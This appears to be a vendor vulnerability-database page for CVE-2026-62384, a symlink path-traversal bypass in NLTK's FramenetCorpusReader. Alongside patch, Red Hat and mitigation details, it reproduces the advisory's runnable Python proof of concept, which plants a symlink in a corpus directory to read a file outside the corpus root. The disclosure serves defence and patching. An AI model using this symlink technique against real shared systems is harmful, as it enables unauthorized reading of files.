Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI
Not in CISA KEV

CVE-2026-62384 — nltk

Fix: nltk/nltk#3726

CVE-2026-62384 is a Path Traversal vulnerability in nltk. A fix is available for nltk — see the affected versions and patch details below.

NLTK FramenetCorpusReader Symlink Sandbox Bypass before 3.10.2

Also known asGHSA-f833-7jw8-xwrvPYSEC-2026-3789
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-62384.

EPSS Exploitation Probability

via FIRST.org ↗
0.7%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs49th percentile — riskier than 49% of all scored CVEsHighest risk
0.15%0.48%0.82%1.15%0.7%0.7%Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

1 pkg affected
🐍nltk

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

This is a new, distinct vulnerability: a bypass of the fix already published as GHSA-xh95-f55m-82fw ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it.

Summary

The original advisory was fixed (PR #3581) by adding _reject_unsafe_path_component(), which blocks literal /, \, .., and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through self.abspath() (nltk/corpus/reader/api.py, self._root.join(fileid)), which is a plain lexical join, not the symlink-resolving, required_root-scoped check that CorpusReader.open() (and NKJPCorpusReader's own fix for its sibling advisory) correctly use elsewhere in this same codebase.

A symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.

Affected code (nltk/corpus/reader/framenet.py)

  • frame_by_name() reads <frame_dir>/<name>.xml
  • _lu_file() reads <lu_dir>/lu<id>.xml
  • doc() reads <fulltext_dir>/<filename>

All three follow the same chain: _reject_unsafe_path_component(value, ...), then self.abspath(os.path.join(subdir, value)), then XMLCorpusView(...), opened via PathPointer.open() with no required_root.

Proof of concept

Self-contained, runnable end to end.

import os
import tempfile

from nltk.corpus.reader.framenet import FramenetCorpusReader

root = tempfile.mkdtemp()
corpus_root = os.path.join(root, "framenet_v17")
frame_dir = os.path.join(corpus_root, "frame")
secret_dir = os.path.join(root, "outside_framenet_root")
os.makedirs(frame_dir)
os.makedirs(secret_dir)

with open(os.path.join(corpus_root, "frRelation.xml"), "w") as f:
    f.write("<frameRelations/>")

secret_path = os.path.join(secret_dir, "stolen.xml")
with open(secret_path, "w") as f:
    f.write(
        '<frame cBy="000" cDate="01/01/2000" name="StolenFrame" ID="999999">'
        "<definition>THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT</definition>"
        "</frame>"
    )

# Attacker plants this inside <corpus_root>/frame/. No path separators,
# so it passes _reject_unsafe_path_component cleanly.
link_path = os.path.join(frame_dir, "evil_link.xml")
os.symlink(secret_path, link_path)

reader = FramenetCorpusReader(corpus_root, [])
reader._frame_idx = {"__dummy__": {"name": "__dummy__"}}  # skip unrelated index build

result = reader.frame_by_name("evil_link")   # normal, routine call, no ".." anywhere
print("frame name:", result["name"])
print("definition:", result["definition"])

Actual output when run against unpatched main (commit 35813c8):

frame name: StolenFrame
definition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT

That content was read from secret_path, a file entirely outside corpus_root, via a single, unmodified, public API call. No exception is raised anywhere in the chain; _reject_unsafe_path_component passes because "evil_link" contains no separators, .., or drive prefix.

Verified the same way for the other two affected call sites, _lu_file() (lu<id>.xml symlink under lu/) and doc() (arbitrary filename symlink under fulltext/), both succeeding identically with no exception raised.

Why this is in scope

  • No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own SECURITY.md names "shared environments... multi-tenant pipelines" as its threat model) plus a completely normal API call.
  • Core corpus-reader code, not a demo/GUI tool.
  • Confirmed unintentional: PR #3581's own description states the goal was to route through "the nltk.pathsec sandbox... including the strict ENFORCE=True mode" and be "consistent with the validation already used elsewhere in NLTK." It doesn't achieve that, since abspath() never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (NKJPCorpusReader).

Suggested fix

Route all three call sites through CorpusReader.open() (or pass required_root=self._root to validate_path() directly, as NKJPCorpusReader already does), instead of self.abspath() plus raw PathPointer.open().

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPInltk≥ 3.10.0&&< 3.10.23.10.2pip install --upgrade 'nltk==3.10.2'

Affected Products

1 product · 1 configurations
Application
nltknltk
≥ 3.10.0 && < 3.10.2
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for nltk, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update nltk to 3.10.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-62384 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

A path traversal vulnerability exists in NLTK's FramenetCorpusReader component via symbolic links. When resolving corpus files using methods like frame_by_name(), _lu_file(), or doc(), path validation checks fail to restrict symlinks containing no path separators within subdirectories. An attacker capable of placing…

Workaround published by Red Hat
Restrict write permissions on NLTK corpus subdirectories to prevent unauthorized symlink creation, or sanitize input paths to prevent FramenetCorpusReader from loading untrusted corpus files containing unresolved symbolic links.
Source: Red Hat security advisory for CVE-2026-62384 (CC BY 4.0)
ProductFixed inAdvisory
Red Hat OpenShift AI 3.3rhoai/odh-llama-stack-core-rhel9:1789121286RHSA-2026:73987
Red Hat OpenShift AI 3.5rhoai/odh-ta-lmes-job-rhel9:1788935863RHSA-2026:69539

Frequently Asked Questions

This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) ("Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox"), not a duplicate of it. ## Summary The original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All thre
O3 Security · Impact-Aware SCA

Is CVE-2026-62384 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2026-62384: nltk — Fixed in 3.10.2 | O3 Security